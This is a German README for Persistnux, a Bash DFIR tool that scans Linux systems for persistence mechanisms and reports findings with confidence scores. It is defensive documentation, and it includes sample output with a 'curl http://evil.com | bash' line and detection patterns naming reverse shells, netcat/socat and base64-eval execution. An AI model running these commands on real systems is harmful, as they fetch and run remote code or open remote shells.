
Bash-basiertes Linux-Persistenzerkennungstool für DFIR-Untersuchungen. Scannt 15+ Persistenzmechanismen (systemd, cron, Kernel-Module, SSH, Container) mit Konfidenz-Bewertung und erstellt CSV-/JSONL-Berichte für die forensische Analyse.
# Persistnux
Ein umfassendes Tool zur Erkennung von Linux-Persistenzmechanismen für Digital Forensics und Incident Response (DFIR)-Untersuchungen.
## Übersicht
Persistnux ist ein Bash-basiertes Tool, das darauf ausgelegt ist, bekannte Linux-Persistenzmechanismen zu identifizieren, die von Angreifern genutzt werden, um den Zugriff auf kompromittierte Systeme aufrechtzuerhalten. Es führt umfassende Prüfungen im gesamten System durch und erstellt detaillierte Berichte im CSV- und JSONL-Format für die weitere Analyse.
## Funktionen
- **Umfassende Erkennung**: Deckt alle wichtigen Linux-Persistenzmechanismen ab
- **Live-Analyse**: Läuft direkt auf Live-Systemen mit minimalen Abhängigkeiten
- **Detaillierte Ausgabe**: Erzeugt CSV- und JSONL-Berichte mit Datei-Hashes, Metadaten und Konfidenzwerten
- **Root und Non-Root**: Funktioniert mit oder ohne Root-Rechte (mit eingeschränktem Umfang für Nicht-Root)
- **DFIR-bereit**: Ausgabeformate kompatibel mit gängigen DFIR-Tools und Arbeitsabläufen
- **Verdachtsscore**: Automatische Konfidenzbewertung (NIEDRIG, MITTEL, HOCH, KRITISCH) basierend auf Indikatoren
- **False-Positive-Reduzierung**: Integration des Paketmanagers und Whitelisting bekannter, gutartiger Dienste
- **Zeitbasierte Analyse**: Kürzlich geänderte Dateien erhalten höhere Konfidenzwerte
- **Mustererkennung**: Erkennt Reverse Shells, Download-und-Ausführen-Muster, Verschleierungstechniken
## Erkannte Persistenzmechanismen
### 1. Systemd-Dienste
- Servicedateien (`.service`) in `/etc/systemd/system`, `/lib/systemd/system`, `/usr/lib/systemd/system`
- Benutzerebene-Systemd-Dienste
- Filtert deaktivierte Dienste und Dienste ohne ExecStart heraus
- Erkennt verdächtige ExecStart-Befehle
- Überprüft die Paketintegrität ausgeführter Binärdateien/Skripte
### 2. Cron-Jobs & geplante Aufgaben
- System-Crontabs (`/etc/crontab`, `/etc/cron.d/*`)
- Periodische Ausführungsverzeichnisse (`/etc/cron.{daily,hourly,weekly,monthly}`)
- Benutzer-Crontabs für alle Benutzer (Root-Modus)
- At-Jobs
- Verdächtige Befehlsmuster in geplanten Aufgaben
- `/etc/cron.allow` und `/etc/cron.deny` ACL-Dateien – Einträge, die auf nicht existierende Benutzer verweisen, werden markiert
### 3. Shell-Profile & RC-Dateien
- Systemweite Profile (`/etc/profile`, `/etc/bash.bashrc`, `/etc/zshrc`)
- Profile.d-Skripte (`/etc/profile.d/*`)
- Benutzerprofile (`.bashrc`, `.bash_profile`, `.zshrc`, `.profile` usw.)
- Fish-Shell-Konfigurationen
- Erkennt bösartige Befehle in Profildateien
### 4. Init-Skripte & RC.local
- `/etc/rc.local` und Varianten
- SysV-Init-Skripte (`/etc/init.d`)
- Runlevel-Skripte (`/etc/rc*.d`)
- Erkennt verdächtige Download/Ausführungsbefehle
### 5. Kernelmodule & Library Preloading
- LD_PRELOAD-Konfigurationen (`/etc/ld.so.preload`) – jede aufgeführte Bibliothek wird über den Paketmanager verifiziert
- Dynamische Linker-Konfigurationen (`/etc/ld.so.conf`, `/etc/ld.so.conf.d/`) – Konfigurationsdateiintegrität + nicht standardmäßige Pfad-`.so`-Dateien werden gescannt und verifiziert
- `/etc/environment` LD_PRELOAD/LD_LIBRARY_PATH – Umgebungsdatei wird als HOCH markiert; referenzierte Bibliothekspfade werden verifiziert (unverwaltet/modifiziert → KRITISCH)
- Kernelmodul-Parameter (`/etc/modprobe.d/`, `/etc/modprobe.conf`) – Dateiintegrität; `install`-Direktiven werden auf verdächtige Befehlsziele analysiert; `blacklist` von Sicherheitsmodulen (AppArmor, SELinux, seccomp) wird als HOCH markiert
- Kernelmodul-Autoload-Konfigurationen (`/etc/modules`, `/etc/modules-load.d/`) – Konfigurationsintegrität; referenzierte Modulnamen werden über `modinfo` zu `.ko`-Dateien aufgelöst und verifiziert
- Geladene Kernelmodule (`lsmod`) – Aufzählung und Integritätsprüfung
### 6. Zusätzliche Mechanismen
- XDG-Autostart-Einträge (`.config/autostart`, `/etc/xdg/autostart`) – alle Benutzerverzeichnisse werden im Root-Modus gescannt
- System-Umgebungsdateien (`/etc/environment`) – LD_PRELOAD/LD_LIBRARY_PATH-Bibliothekspfade werden verifiziert
- Sudoers-Konfigurationen und Drop-Ins (`/etc/sudoers`, `/etc/sudoers.d/`) – NOPASSWD/ALL-Muster → HOCH
- PAM (Pluggable Authentication Modules):
- Alle `.so`-Module werden über den Paketmanager verifiziert; `@include`-Direktiven werden verfolgt; `/etc/pam.conf` wird einbezogen
- `pam_exec.so`-Skriptanalyse – fehlende/verdächtige Skripte → KRITISCH
- `pam_python.so` / `pam_perl.so`-Relay-Erkennung – Skript wird extrahiert und analysiert
- `pam_script.so`-Hook-Dateierkennung in `/etc/security/`
- Konfigurationsdateienintegrität – modifizierte paketbesitzende PAM-Konfigurationen → KRITISCH
- `pam_env.conf` und `~/.pam_environment` LD_PRELOAD-Bibliotheksverifizierung
- `/etc/security/` allgemeiner Scan
- MOTD-Skripte (`/etc/update-motd.d/`) – Paketüberprüfung; modifiziert → KRITISCH
- Git-Credential-Helper und core.pager-Einstellungen – Inhaltsanalyse für alle Benutzer
- Web-Shells in gängigen Web-Verzeichnissen
### 8. SSH-Persistenz
- Benutzerspezifische `~/.ssh/authorized_keys` – kürzlich geänderte Schlüssel werden markiert; Inhalt der `command=`-Option auf verdächtige Muster analysiert
- Benutzerspezifische `~/.ssh/rc` – Vorhandensein wird als MITTEL markiert; verdächtiger/Reverse-Shell-Inhalt → HOCH/KRITISCH
### 9. Binary Hijacking
- Überprüft installierte System-Binärdateien gegen die Paketdatenbank (`dpkg -V` auf Debian/Ubuntu, `rpm -Va` auf RHEL/CentOS)
- Modifizierte Dateien in `/usr/bin`, `/usr/sbin`, `/bin`, `/sbin` → KRITISCHER Fund
- Modifizierte PAM-Module in `/lib/security` → KRITISCHER Fund
- Conffiles (dpkg-Konfigurationsdateien) werden ausgeschlossen, um False Positives zu vermeiden
### 10. Bootloader & Initramfs
- GRUB `init=` Kernel-Parameter-Injection (`/etc/default/grub`, `/etc/default/grub.d/*.cfg`)
- Root-Level abgelegte Init-Skripte unter `/`
- Dracut-Initramfs-Module mit `pre-pivot`-Hooks, die in `/sysroot/etc/shadow` schreiben
- Ubuntu Initramfs-Tools-Hook-Skripte in `/etc/initramfs-tools/scripts/` und `/hooks/`
- Kürzlich modifizierte `/boot/initrd.img-*`-Images (mtime-basiert)
### 11. Polkit (PolicyKit)-Manipulation
- `.pkla`-Dateien mit bedingungslosen `ResultAny/ResultInactive/ResultActive=yes`
- Wildcard-Identität (`unix-user:*`)-Gewährungen
- `.rules`-Dateien mit bedingungslosem `polkit.Result.YES` (JavaScript-basiertes Polkit >= 0.106)
### 12. D-Bus & NetworkManager
- Bösartige D-Bus-Systemdienst-`Exec=`-Registrierung (`/usr/share/dbus-1/system-services/`)
- D-Bus-Richtlinien-Wildcard `allow own="*"` oder `send_destination="*"`-Direktiven
- NetworkManager-Dispatcher-Skripte (`/etc/NetworkManager/dispatcher.d/`)
### 13. Udev-Regeln
- Udev `RUN+=`-Direktiven, die beliebige Befehle oder Skripte ausführen (`/etc/udev/rules.d/`, `/lib/udev/rules.d/`)
- Zur Laufzeit injizierte Regeln in `/run/udev/rules.d/`
- `at`/`cron`-Delegierungsmuster in `RUN+=` (häufige Umgehung von Vordergrundbeschränkungen)
### 14. Container Escape
- Privilegierte Docker-Container (`--privileged`, `--pid=host`)
- `docker.sock`-Bind-Mounts in Container (vollständige Host-Kontrolle über Docker-API)
- `nsenter -t 1` in Container-Entrypoints oder Dockerfiles
- Dockerfiles in benutzerbeschreibbaren Verzeichnissen, die Escape-Techniken enthalten
### 15. Erweiterte Binär- & Privilegienprüfungen
- Aktiver SUID/SGID-Dateisystem-Scan über Systemverzeichnisse hinweg
- Dateifähigkeits-Scan über `getcap` – `cap_setuid+ep` auf GTFOBins → KRITISCH
- Binary Hijacking: umbenannte Originale (`.original`, `.old`, `.bak`, `.real`) mit Wrapper-Skripten
- Nicht-Root-Konten mit UID 0 in `/etc/passwd`
- Shell-Verschleierung durch nachgestellte Leerzeichen im Shell-Feld von `/etc/passwd`
- Systemkonten (UID 1-999) mit SSH `authorized_keys`-Dateien
## Installation
```bash
# Repository klonen
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Skript ausführbar machen
chmod +x persistnux.sh
```
## Verwendung
### Grundlegende Verwendung (Live-Analyse)
```bash
# Mit Standardeinstellungen ausführen (zeigt nur verdächtige Funde)
sudo ./persistnux.sh
# Hilfe und alle Optionen anzeigen
./persistnux.sh --help
# Als normaler Benutzer ausführen (eingeschränkter Umfang)
./persistnux.sh
```
### Filteroptionen (v2.4+)
Standardmäßig zeigt Persistnux nur **verdächtige Funde** (MITTEL, HOCH, KRITISCH-Konfidenz) an, um Rauschen zu reduzieren und sich auf umsetzbare Bedrohungen zu konzentrieren.
```bash
# Standard: Nur verdächtige Funde anzeigen
sudo ./persistnux.sh
# Alle Funde einschließlich Baseline (NIEDRIG-Konfidenz) anzeigen
sudo ./persistnux.sh --all
# ODER
sudo FILTER_MODE=all ./persistnux.sh
# Nur Funde mit HOHEM und KRITISCHEM Konfidenzlevel anzeigen
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Filter kombinieren: Nur HOHE Konfidenz
sudo ./persistnux.sh --min-confidence HIGH
```
### Benutzerdefiniertes Ausgabeverzeichnis
```bash
# Benutzerdefiniertes Ausgabeverzeichnis angeben
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Mit Filterung kombinieren
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
```
### Ausgabedateien
Standardmäßig erstellt Persistnux ein Ausgabeverzeichnis `./persistnux_output/`, das Folgendes enthält:
- `persistnux_<hostname>_<timestamp>.csv` – Bericht im CSV-Format
- `persistnux_<hostname>_<timestamp>.jsonl` – Bericht im JSONL-Format (ein JSON-Objekt pro Zeile)
- `persistnux_<hostname>_<timestamp>_report.txt` – Menschenlesbarer Zusammenfassungsbericht mit Fundanzahlen und Scan-Metadaten
## Ausgabeformat
### CSV-Format
```csv
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
```
### JSONL-Format
```json
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
```
### Wichtige Ausgabefelder
- **matched_pattern**: Das Erkennungsmuster, das den Fund ausgelöst hat (z. B. `suspicious_script_content`, `modified_package`, `unmanaged_binary`)
- **matched_string**: Der tatsächliche verdächtige Inhalt, der gefunden wurde (vollständige Zeile, nicht nur Schlüsselwort)
## Konfidenzbewertung
Persistnux verwendet eine intelligente Konfidenzbewertung, um False Positives zu reduzieren:
- **NIEDRIG**: Standard-Systemkonfiguration, geringer Verdacht (oft paketverwaltete Dateien)
- **MITTEL**: Potenziell verdächtig, aber könnte legitim sein
- **HOCH**: Verdächtige Muster erkannt (z. B. curl/wget in Cron, /tmp-Ausführung, Reverse Shells)
- **KRITISCH**: Eindeutiger Nachweis von Manipulation – fehlgeschlagene Paketintegritätsprüfung, SUID/SGID auf einer verdächtigen Datei, PAM-Modul-Anomalie, systemd-Generator an einem flüchtigen Ort oder Inline-Interpreter-Code mit hoher Entropie
### False-Positive-Reduzierung (v1.2+)
Persistnux enthält jetzt mehrere Funktionen zur False-Positive-Reduzierung:
1. **Paketmanager-Integration**: Dateien, die von `dpkg` (Debian/Ubuntu) oder `rpm` (RedHat/CentOS) verwaltet werden, erhalten niedrigere Konfidenzwerte
2. **Whitelist bekannter, gutartiger Dienste**: Übliche Vendor-Dienste (systemd-*, dbus-*, snap.* usw.) werden automatisch übersprungen
3. **Zeitbasierte Bewertung**: Kürzlich geänderte Dateien (<7 Tage) erhalten höhere Konfidenzwerte
4. **Kontextbewusste Analyse**: Kombiniert mehrere Indikatoren für eine genauere Erkennung
## Verdächtige Indikatoren
Persistnux markiert Elemente automatisch mit höherer Konfidenz, wenn es Folgendes erkennt:
### Netzwerkbasierte Muster
- Reverse Shells: `bash -i >& /dev/tcp/`, `sh -i >& /dev/udp/`
- Netzwerktools: `nc`, `netcat`, `socat`, `telnet`
- Socket-Operationen in Skriptsprachen: `python -c 'import socket'`
### Download- und Ausführungsmuster
- Download-Tools: `curl | bash`, `wget | sh`
- Download mit Ausführung: `curl URL -o /tmp/file && chmod +x`
### Verschleierungstechniken
- Kodierung: `base64 -d | bash`, `eval $(echo BASE64)`
- Dynamische Ausführung: `eval`, `exec`
### Verdächtige Speicherorte
- Temporäre Verzeichnisse: `/tmp`, `/dev/shm`, `/var/tmp`
- Versteckte Verzeichnisse und Dateien
### Berechtigungsmanipulation
- Dateien ausführbar machen: `chmod +x`, `chmod 777`
- SUID-Bit-Manipulation: `chmod u+s`
## Anforderungen
- Bash 4.0+
- Standard-Unix-Dienstprogramme: `find`, `grep`, `stat`, `sha256sum`, `awk`, `file`
- Optional: `systemctl`, `lsmod`, `modinfo`, `getcap`, `dpkg`/`rpm` (für bestimmte Prüfungen)
- Keine Interpreter-Abhängigkeit (reines Bash + coreutils; kein `python`/`jq` erforderlich)
- Root-/sudo-Zugriff empfohlen für eine umfassende Analyse
## Getestet auf / Kompatibilität
| Distribution | Status | Hinweise |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Getestet | Primäre Entwicklungs- und Testplattform |
| Ubuntu 20.04 LTS | ✅ Getestet | Vollständig unterstützt |
| Debian 11/12 | ✅ Getestet | dpkg-basiert, gleiche Pfadkonventionen |
| Kali Linux (rolling) | ✅ Getestet | Für den PANIX-Erkennungsbenchmark verwendet (siehe unten) |
| RedHat / RHEL | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
| Fedora | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
| CentOS / AlmaLinux / Rocky | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
> **Hinweis:** Das Tool wird hauptsächlich auf **Ubuntu/Debian**-Systemen getestet. Bei RedHat, Fedora und RPM-basierten Distributionen ist die Paketmanager-Unterstützung im Code implementiert, wurde aber in Live-Testumgebungen nicht validiert. Beiträge und Testergebnisse für RPM-basierte Distributionen sind willkommen.
## Testen / Benchmark
Persistnux wird gegen [**PANIX**](https://github.com/Aegrah/PANIX) gebenchmarkt,
das dieselben Persistenzmechanismen installiert, die Persistnux jagt. Der
wiederholbare Testrahmen unter [`tests/panix_benchmark.sh`](https://github.com/go-lanz/persistnux/blob/main/tests/panix_benchmark.sh) wendet jede
PANIX-Technik an, führt Persistnux aus und bestätigt die Erkennung über einen Basislinien-Diff.
Jede dateibasierte PANIX-Technik, die auf dem Testsystem anwendbar ist, wird mit
`MITTEL`+ Konfidenz erkannt. Siehe [PANIX_BENCHMARK.md](https://github.com/go-lanz/persistnux/blob/main/PANIX_BENCHMARK.md) für die vollständige
Abdeckungstabelle und Methodik.
> ⚠️ Der Benchmark installiert echte Hintertüren – nur in einer Einweg-VM ausführen.
## Roadmap
- [ ] Offline-Analysemodus für forensische Festplatten-Images
- [ ] Integration der UAC (Unix-like Artifacts Collector)-Sammlung
- [ ] Erweiterung des PANIX-Benchmarks auf Bootloader/Initramfs/LKM-Vektoren auf einer vollständigen VM
## Ressourcen
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms
https://www.elastic.co/security-labs/approaching-the-summit-on-persistence
https://www.elastic.co/security-labs/primer-on-persistence-mechanisms
https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms
https://github.com/Aegrah/PANIX
## Mitwirken
Beiträge sind willkommen! Bitte reichen Sie Pull-Requests ein oder eröffnen Sie Issues für:
- Erkennung neuer Persistenzmechanismen
- Fehlerbehebungen
- Verbesserungen der Dokumentation
- Leistungsoptimierungen
- Zusätzliche Ausgabeformate
## Lizenz
MIT-Lizenz – Siehe LICENSE-Datei für Details
## Danksagungen
Entwickelt für die DFIR-Community zur Unterstützung bei der Linux-Vorfallreaktion und forensischen Untersuchungen.
## Haftungsausschluss
Dieses Tool ist nur für autorisierte Sicherheitstests, Incident Response und forensische Analysen bestimmt. Die Benutzer sind dafür verantwortlich, sicherzustellen, dass sie die entsprechende Autorisierung haben, bevor sie dieses Tool auf einem System ausführen.
## Kontakt
Bei Fragen, Problemen oder Beiträgen nutzen Sie bitte den GitHub Issue-Tracker.